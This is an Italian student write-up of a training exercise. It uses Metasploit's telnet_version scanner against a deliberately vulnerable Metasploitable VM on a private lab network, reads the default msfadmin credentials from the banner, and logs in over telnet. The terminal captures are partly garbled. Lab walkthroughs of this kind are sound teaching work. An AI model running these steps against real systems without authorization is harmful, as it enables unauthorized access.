Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40

Iniziamo col modificare l'ip delle nostre macchine virtuali.

```
-(kali⊛Kali)-[~]
└-$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.1.25 netmask 255.255.255.0 broadcast 192.168.1.255
       inet6 fe80::a00:27ff:fea9:39c2 prefixlen 64 scopeid 0×20<link>
       ether 08:00:27:a9:39:c2 txqueuelen 1000 (Ethernet)
       RX packets 82
                      bytes 6750 (6.5 KiB)
       RX errors 0 dropped 0 overruns 0
                                           frame 0
       TX packets 35 bytes 3912 (3.8 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
       inet 127.0.0.1 netmask 255.0.0.0
       inet6 ::1 prefixlen 128 scopeid 0×10<host>
       loop txqueuelen 1000 (Local Loopback)
       RX packets 4 bytes 240 (240.0 B)
       RX errors 0 dropped 0 overruns 0
       TX packets 4 bytes 240 (240.0 B)
       TX errors 0 dropped 0 overruns 0 carrier 0
                                                    collisions 0
```

```
msfadmin@metasploitable:~$ ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:74:94:13
          inet addr: 192.168.1.40 Bcast: 192.168.1.255 Mask: 255.255.255.0
          inet6 addr: fe80::a00:27ff:fe74:9413/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:88 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:664 (664.0 B) TX bytes:6228 (6.0 KB)
          Base address:0xd020 Memory:f0200000-f0220000
lo
          Link encap:Local Loopback
          inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436
                                MTU:16436
                                            Metric:1
          RX packets:142 errors:0 dropped:0 overruns:0 frame:0
          TX packets:142 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:34325 (33.5 KB) TX bytes:34325 (33.5 KB)
```

Per sfruttare questa vulnerabilità del servizio Telnet, utilizziamo un modulo ausiliario: auxiliary/scanner/telnet/telnet_version.

```
msf6 > search scanner/telnet
Matching Modules
                                                                                         Disclosure Date Ra
       Name
               Description
       Check
      auxiliary/scanner/telnet/brocade_enable_login
                                                                                                               no
       No Brocade Enable Login Check Scanner
auxiliary/scanner/telnet/lantronix_telnet_password
               Lantronix Telnet Password Recovery
       auxiliary/scanner/telnet/lantronix_telnet_version
rmal No
                Lantronix Telnet Service Banner Detection
      auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass 2021-09-06
Yes Netgear PNPX_GetShareFolderList Authentication Bypass
auxiliary/scanner/telnet/telnet_ruggedcom
No RuggedCom Telnet Password Generator
                                                                                                               no
rmal
                                                                                                               no
rmal
       auxiliary/scanner/telnet/satel_cmd_exec 2017-04-07 no
No Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulne
rmal
      No
rability
      auxiliary/scanner/telnet/telnet_login
                Telnet Login Check Scanner
rmal
       auxiliary/scanner/telnet/telnet_version
rmal
                Telnet Service Banner Detection
      No
       auxiliary/scanner/telnet/telnet_encrypt_overflow
rmal
                Telnet Service Encryption Key ID Overflow Detection
Interact with a module by name or index. For example info 8, use 8 or use auxiliary/scanner
msf6 > use 7
                                     telnet version) >
msf6 auxiliary(:
```

Controlliamo le opzioni necessarie per lanciare l'attacco, eseguendo il comando «**show options**». Tra i parametri da inserire abbiamo **RHOSTS**, cioè l'indirizzo target dove è in esecuzione il servizio telnet. Tutti gli altri parametri necessari sono già configurati di default.

```
msf6 > use 7
                               relnet version) > show options
msf6 auxiliary(
Module options (auxiliary/scanner/telnet/telnet_version):
             Current Setting Required Description
   Name
   PASSWORD
                                         The password for the specified username
                              no
   RHOSTS
                                         The target host(s), see https://docs.metasploit.c
                              ves
                                         om/docs/using-metasploit/basics/using-metasploit.
                                         html
   RPORT
             23
                              ves
                                         The target port (TCP)
   THREADS
                                         The number of concurrent threads (max one per hos
                              yes
                                         t)
   TIMEOUT
             30
                              yes
                                         Timeout for the Telnet probe
   USERNAME
                                         The username to authenticate as
                              no
View the full module info with the info, or info -d command.
```

Configuriamo il parametro RHOSTS utilizzando il comando «set RHOSTS 192.168.1.40».

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts ⇒ 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > ■
```

Per il modulo scelto non c'è bisogno di specificare un payload; quindi eseguiamo l'attacco con il comando «**exploit**».

Metasploit ci da le credenziali da utilizzare, username: «msfadmin», password «msfadmin».

Ora facciamo un test: eseguiamo da Metasploit il comando «**telnet 192.168.1.40**», per verificare la correttezza delle informazioni.

Warning: Never expose this VM to an untrusted network! Contact: msfdev[at]metasploit.com Login with msfadmin/msfadmin to get started metasploitable login: msfadmin Password: Last login: Tue Mar 5 03:24:06 EST 2024 on tty1 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. msfadmin@metasploitable:~\$

Il servizio ci richiede una login. Inseriamo le informazioni ricevute da Metasploit. Possiamo confermare che l'attacco ha avuto successo e la vulnerabilità del servizio Telnet è stata sfruttata correttamente, in quanto abbiamo ottenuto accesso non autorizzato alla macchina.